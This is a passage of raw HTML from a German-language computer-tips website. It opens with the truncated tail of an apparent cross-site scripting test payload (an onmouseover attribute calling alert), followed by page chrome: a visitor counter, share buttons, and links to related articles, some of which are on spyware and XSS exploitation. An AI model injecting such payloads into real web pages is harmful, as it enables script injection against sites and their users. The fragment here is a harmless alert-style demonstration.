’onmouseover = ’alert (2 ) ’> ] ”; </p> </td> </tr></table> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy>");</script> </div> <div class="data"> <div class="data__top clearfix"> <div class="data__print"> <a href='javascript:window.print(); void 0;'> Drucken</a> </div> </div> <div class="data__bottom clearfix"> <div class="data__share"> <script src="//yastatic.net/es5-shims/0.0.2/es5-shims.min.js"></script> <script src="//yastatic.net/share2/share.js"></script> <div class="ya-share2" data-services="vkontakte,facebook,odnoklassniki,moimir,gplus,twitter,evernote,whatsapp,skype"></div> </div> </div> </div> <div class="navi"> <a href="https://comuedu.ru/de/windows/informacionnyi-portal-po-bezopasnosti-instrumenty-kali-linux-chto.html" class="navi__prev"></a>  <a href="https://comuedu.ru/de/solutions/perevod-besprovodnoi-karty-v-rezhim-monitora-nablyudeniya-v-blackarch-s.html" class="navi__next"></a>  </div> </div> </div> <div class="news-blocks clearfix"> <div class="news-block"> <div class="papers"> <div class="papers__title">Auch interessant:</div> <div class="papers__items"> <style> </style> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/smart-tv/shpion-iphone-bez-dzheilbreika-programma-shpion-dlya-iphone-i-android-smartfonov.html"><img src="/uploads/fb2d2e36750ac6f57511a9c5031b4323.jpg" style="width:70px; height:70px;" / loading=lazy></a> </div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/smart-tv/shpion-iphone-bez-dzheilbreika-programma-shpion-dlya-iphone-i-android-smartfonov.html">Spionageprogramm für iPhone und Android-Smartphones</a> </div> <div class="papers__category"> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/the-device/isklyuchit-povtoryayushchiesya-znacheniya-v-excel-kak-v-excel-udalit-dublikaty-dannyh.html"><img src="/uploads/65eda9c68ebf41c4cd1076d8e2cc08b2.jpg" style="width:70px; height:70px;" / loading=lazy></a> </div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/the-device/isklyuchit-povtoryayushchiesya-znacheniya-v-excel-kak-v-excel-udalit-dublikaty-dannyh.html">So entfernen Sie doppelte Daten in Excel</a> </div> <div class="papers__category"> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/program/poleznye-hakerskie-programmy-dlya-kompyutera-podborka.html"><img src="/uploads/c1df8b89aa0018e6fa3bfede38423f93.jpg" style="width:70px; height:70px;" / loading=lazy></a> </div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/program/poleznye-hakerskie-programmy-dlya-kompyutera-podborka.html">Eine Auswahl von "Hacker" -Programmen für Android</a> </div> <div class="papers__category"> </div> </div> </div> </div> </div> </div> <div class="news-block"> <div class="papers"> <div class="papers__title">Wir empfehlen zu lesen:</div> <div class="papers__items"> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/smartphone/kak-uznat-poslednee-mestonahozhdenie-telefona-cherez-gugl-kak-naiti.html"> <img width="50" height="50" src="/uploads/5cf0b0134dbbe0f0212062fc8b0e74a4.jpg" class="attachment-50 size-50 wp-post-image" alt="So finden Sie ein verlorenes oder gestohlenes Telefon" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/smartphone/kak-uznat-poslednee-mestonahozhdenie-telefona-cherez-gugl-kak-naiti.html">So finden Sie ein verlorenes oder gestohlenes Telefon</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/the-device/yandeks-manul-ustanovka-veb-antivirusa-manul-ot-yandeks-princip.html"> <img width="50" height="50" src="/uploads/e064908b81054a4030b103e894d4aec1.jpg" class="attachment-50 size-50 wp-post-image" alt="Installieren eines Web-Antiviren-Manuls von Yandex" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/the-device/yandeks-manul-ustanovka-veb-antivirusa-manul-ot-yandeks-princip.html">Installieren eines Web-Antiviren-Manuls von Yandex</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/solutions/virusnaya-ataka-shifrovalshchik-virus-shifrovalshchik-failov-wanna-cry-kak.html"> <img width="50" height="50" src="/uploads/ae736c4e2a07183662d8585337682dca.jpg" class="attachment-50 size-50 wp-post-image" alt="Wanna Cry File Ransomware Virus - wie man Daten schützt und speichert" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/solutions/virusnaya-ataka-shifrovalshchik-virus-shifrovalshchik-failov-wanna-cry-kak.html">Wanna Cry File Ransomware Virus - wie man Daten schützt und speichert</a> </div> </div> </div> </div> </div> </div> </div> <div class="rate clearfix"> <div class="papers__title">Fortsetzung des Themas:</div> </div> <div class="rate clearfix"> <div class="rate__img"> <a href="https://comuedu.ru/de/smart-tv/antivirus-ot-yandeksa-manual-kak-polzovatsya-antivirusom-manul-ot-yandeks.html"> <img width="150" height="150" src="/uploads/1c9b8745629592703c1e59ca0be29e53.jpg" class="attachment-alm-thumbnail size-alm-thumbnail wp-post-image" alt="Wie verwende ich das Manul-Antivirus von Yandex?" sizes="(max-width: 150px) 100vw, 150px" / loading=lazy> </a> </div> <div class="rate__ovh"> <div class="rate__label"> <span>Smart TV</span> </div> <div class="rate__name"> <a href="https://comuedu.ru/de/smart-tv/antivirus-ot-yandeksa-manual-kak-polzovatsya-antivirusom-manul-ot-yandeks.html">Wie verwende ich das Manul-Antivirus von Yandex?</a> </div> <div class="rate__description"> <p>UPD. Yandex hat die Entwicklung und Unterstützung seines Antivirus eingestellt. RIP Manul: (Zusammen mit Revisium hat Yandex ein Antivirenprogramm für Websites namens Manul veröffentlicht.</p> </div> </div> </div>  </div> <div class="button-menu"></div> <div class="page__right"> <div class="menu"> <div class="menu__exit">×</div> <ul> <li><a href="https://comuedu.ru/de/category/apple/" class="link-catalog">Apfel</a> </li> <li><a href="https://comuedu.ru/de/category/routers/" class="link-catalog">Router</a> </li> <li><a href="https://comuedu.ru/de/category/computer/" class="link-catalog">Computer</a> </li> <li><a href="https://comuedu.ru/de/category/smartphone/" class="link-catalog">Smartphone</a> </li> <li><a href="https://comuedu.ru/de/category/internet/" class="link-catalog">das Internet</a> </li> <li><a href="https://comuedu.ru/de/category/wi-fi/" class="link-catalog">W-lan</a> </li> <li><a href="https://comuedu.ru/de/category/linux/" class="link-catalog">Linux</a> </li> <li><a href="https://comuedu.ru/de/category/windows/" class="link-catalog">Windows</a> </li> </ul> </div> <div id="husevi1" style="height:400px;width:290px;" align="center"></div> <div class="page__hidden-mobile"> <div class="papers"> <div class="papers__tabs"> <div class="active" data-eq="0">Neue Artikel</div> <span>/</span> <div data-eq="1">Beliebt</div> </div> <div class="papers__blocks"> <div class="papers__block active"> <div class="papers__items"> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/the-device/vstavlyaem-proizvolnyi-kod-v-posty-i-stranicy-wordpress-vstavlyaem-proizvolnyi-kod.html"> <img width="50" height="50" src="/uploads/d32be11800c576cdf4040823ad05379b.jpg" class="attachment-50 size-50 wp-post-image" alt="Fügen Sie beliebigen Code in WordPress-Posts und -Seiten ein. Finden Sie die richtigen Dienste" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/the-device/vstavlyaem-proizvolnyi-kod-v-posty-i-stranicy-wordpress-vstavlyaem-proizvolnyi-kod.html">Fügen Sie beliebigen Code in WordPress-Posts und -Seiten ein. Finden Sie die richtigen Dienste</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/de/category/the-device/">Geräte</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/network/easy-hack-kak-dobyt-dannye-cherez-cross-site-scripting-inclusion-ispolzovanie-xss-uyazvimostei-po.html"> <img width="50" height="50" src="/uploads/45ec14b481eb91f79fff700c3bacf64f.jpg" class="attachment-50 size-50 wp-post-image" alt="Optimale Nutzung von XSS-Schwachstellen Xss-Noscript-Warnung" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/network/easy-hack-kak-dobyt-dannye-cherez-cross-site-scripting-inclusion-ispolzovanie-xss-uyazvimostei-po.html">Optimale Nutzung von XSS-Schwachstellen Xss-Noscript-Warnung</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/de/category/network/">Netzwerke</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/android/raspoznavanie-lica-po-fotografii-poisk-po-licam-kak-naiti.html"> <img width="50" height="50" src="/uploads/bdbb793be958ff8785d960688dbbbdf9.jpg" class="attachment-50 size-50 wp-post-image" alt="Suche nach Gesichtern: So finden Sie andere Fotos einer Person (Yandex und Google)" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/android/raspoznavanie-lica-po-fotografii-poisk-po-licam-kak-naiti.html">Suche nach Gesichtern: So finden Sie andere Fotos einer Person (Yandex und Google)</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/de/category/android/">Android</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/internet/lost-android-kak-rabotaet-kak-naiti-poteryannyi-telefon-obzor-programm.html"> <img width="50" height="50" src="/uploads/d620370a613713bf89b26e3113643f75.jpg" class="attachment-50 size-50 wp-post-image" alt="So finden Sie ein verlorenes Telefon - eine Übersicht über Programme, mit denen Sie ein fehlendes Gadget zurückgeben können" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/internet/lost-android-kak-rabotaet-kak-naiti-poteryannyi-telefon-obzor-programm.html">So finden Sie ein verlorenes Telefon - eine Übersicht über Programme, mit denen Sie ein fehlendes Gadget zurückgeben können</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/de/category/internet/">das Internet</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/program/instrukciya-po-ocifrovke-video-pri-pomoshchi-easycap-i-virtualdub-bez-rassinhronizacii.html"> <img width="50" height="50" src="/uploads/5a47499d80d6e417ce66960c11cc3818.jpg" class="attachment-50 size-50 wp-post-image" alt="Easy CAP Video Adapter mit Audio Schnellinstallationsanleitung Online-Shop kaufen Easycap USB 2 Disk Image" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/program/instrukciya-po-ocifrovke-video-pri-pomoshchi-easycap-i-virtualdub-bez-rassinhronizacii.html">Easy CAP Video Adapter mit Audio Schnellinstallationsanleitung Online-Shop kaufen Easycap USB 2 Disk Image</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/de/category/program/">Programme</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/de/windows/visual-studio-code-rasshireniya-poleznye-plaginy-dlya-visual-studio-code.html"> <img width="50" height="50" src="/uploads/1224e7b334aaccd055d00696f54ea05f.jpg" class="attachment-50 size-50 wp-post-image" alt="Nützliche Plugins für Visual Studio Code" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/de/windows/visual-studio-code-rasshireniya-poleznye-plaginy-dlya-visual-studio-code.html">Nützliche Plugins für Visual Studio Code</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/de/category/windows/">Windows</a> </div> </div> </div> </div> </div> <div class="papers__block"> <div class="papers__items"> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/de/smart-tv/proverit-hesh-summu-vychislenie-hesha-principy-ispolzovaniya-kontrolnyh.html"> <img width="50" height="50" src="/uploads/d60de2332a9ed615922ae8302c021087.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Überprüfen Sie die Hash-Summe. Hash-Berechnung. Grundsätze für die Verwendung von Prüfsummen" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/smart-tv/proverit-hesh-summu-vychislenie-hesha-principy-ispolzovaniya-kontrolnyh.html">Überprüfen Sie die Hash-Summe. Hash-Berechnung. Grundsätze für die Verwendung von Prüfsummen</a> </div> <div class="papers__category"><a href="https://comuedu.ru/de/category/smart-tv/" rel="tag">Smart TV</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/de/the-device/sposoby-razdachi-wifi-bez-routera-vozmozhno-li-nastroit-router-bez.html"> <img width="50" height="50" src="/uploads/1a96fc3f755133c3126f259b56b17eab.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Ist es möglich, einen Router ohne Computer einzurichten?" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/the-device/sposoby-razdachi-wifi-bez-routera-vozmozhno-li-nastroit-router-bez.html">Ist es möglich, einen Router ohne Computer einzurichten?</a> </div> <div class="papers__category"><a href="https://comuedu.ru/de/category/the-device/" rel="tag">Geräte</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/de/android/kak-redaktirovat-pdf-faily-na-kompyutere-kak-sohranit-v-pdf.html"> <img width="50" height="50" src="/uploads/228be71ed8c5aeba3b370a500fb92015.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="So speichern Sie ein Office-Dokument als PDF als libreoffice-Datei als PDF" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/android/kak-redaktirovat-pdf-faily-na-kompyutere-kak-sohranit-v-pdf.html">So speichern Sie ein Office-Dokument als PDF als libreoffice-Datei als PDF</a> </div> <div class="papers__category"><a href="https://comuedu.ru/de/category/android/" rel="tag">Android</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/de/network/kak-ubrat-bezopasnyi-rezhim-na-telefone-digma-bezopasnyi-rezhim-na.html"> <img width="50" height="50" src="/uploads/7b459c8cfa901b9b4d23fee668dad30a.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Abgesicherter Modus unter Android OS" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/network/kak-ubrat-bezopasnyi-rezhim-na-telefone-digma-bezopasnyi-rezhim-na.html">Abgesicherter Modus unter Android OS</a> </div> <div class="papers__category"><a href="https://comuedu.ru/de/category/network/" rel="tag">Netzwerke</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/de/program/otklyuchenie-proverki-parolya-v-windows-10-kak-eto-rabotaet.html"> <img width="50" height="50" src="/uploads/34b566430ce885d67e704d25524468bc.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Deaktivieren Sie die Kennwortüberprüfung in Windows 10" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/program/otklyuchenie-proverki-parolya-v-windows-10-kak-eto-rabotaet.html">Deaktivieren Sie die Kennwortüberprüfung in Windows 10</a> </div> <div class="papers__category"><a href="https://comuedu.ru/de/category/program/" rel="tag">Programme</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/de/smartphone/ustanovka-windows-10-razdely-diska-luchshie-programmy-dlya-razdeleniya.html"> <img width="50" height="50" src="/uploads/032a23ccfb95616beed3f929315af35d.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Die besten Programme zum Partitionieren (Aufteilen) einer Festplatte" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/de/smartphone/ustanovka-windows-10-razdely-diska-luchshie-programmy-dlya-razdeleniya.html">Die besten Programme zum Partitionieren (Aufteilen) einer Festplatte</a> </div> <div class="papers__category"><a href="https://comuedu.ru/de/category/smartphone/" rel="tag">Smartphone</a></div> </div> </div> </div> </div> </div> </div> <div class="comments"> <div id="husevi2" class="husevi-sticky" style="height:500px;width:254px;" align="center"></div> </div> </div> </div> </div> </div> </div> <div class="footer"> <div class="footer__top"> <div class="cnt"> <div class="footer__nav"> <ul> <li><a href="">Kontakte</a></li> <li><a href="">Werbung</a></li> <li><a href="">Über die Website</a></li> </ul> </div> <div class="footer__counter"> </div> <div class="footer__logo1" align="right"> <img style="max-height:60px;" src="/assets/logo.png" alt="" loading=lazy> </div> </div> </div> <div class="footer__bottom"> <div class="cnt"> <div class="footer__copyright"> © comuedu.ru 2020 Website über Computertechnologie</div> </div> </div> </div> <a href="https://comuedu.ru/de/#top" class="up"></a> </div> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/jquery-1.12.0.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/owl.carousel.min.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/mousewheel.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/jscrollpane.min.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/scripts.js?v=8"></script>  <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/table-of-contents-plus/front.min.js?ver=1509'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp-ajaxify-comments/js/wp-ajaxify-comments.min.js?ver=1.5.0'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp-polls/polls-js.js?ver=2.73.8'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp-postratings/js/postratings-js.js?ver=1.85'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp_testme/js/testme.js?ver=1.1'></script> <script type='text/javascript' src='/wp-includes/js/comment-reply.min.js?ver=4.9'></script> <script type='text/javascript'> var q2w3_sidebar_options = new Array(); q2w3_sidebar_options[0] = { "sidebar" : "sidebar-2", "margin_top" : 10, "margin_bottom" : 112, "stop_id" : "", "screen_max_width" : 0, "screen_max_height" : 0, "width_inherit" : false, "refresh_interval" : 1500, "window_load_hook" : false, "disable_mo_api" : false, "widgets" : ['cb_widget-2'] } ; </script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/q2w3-fixed-widget/js/q2w3-fixed-widget.min.js?ver=5.0.4'></script> <script type='text/javascript' src='/wp-includes/js/wp-embed.min.js?ver=4.9'></script> </body> </html>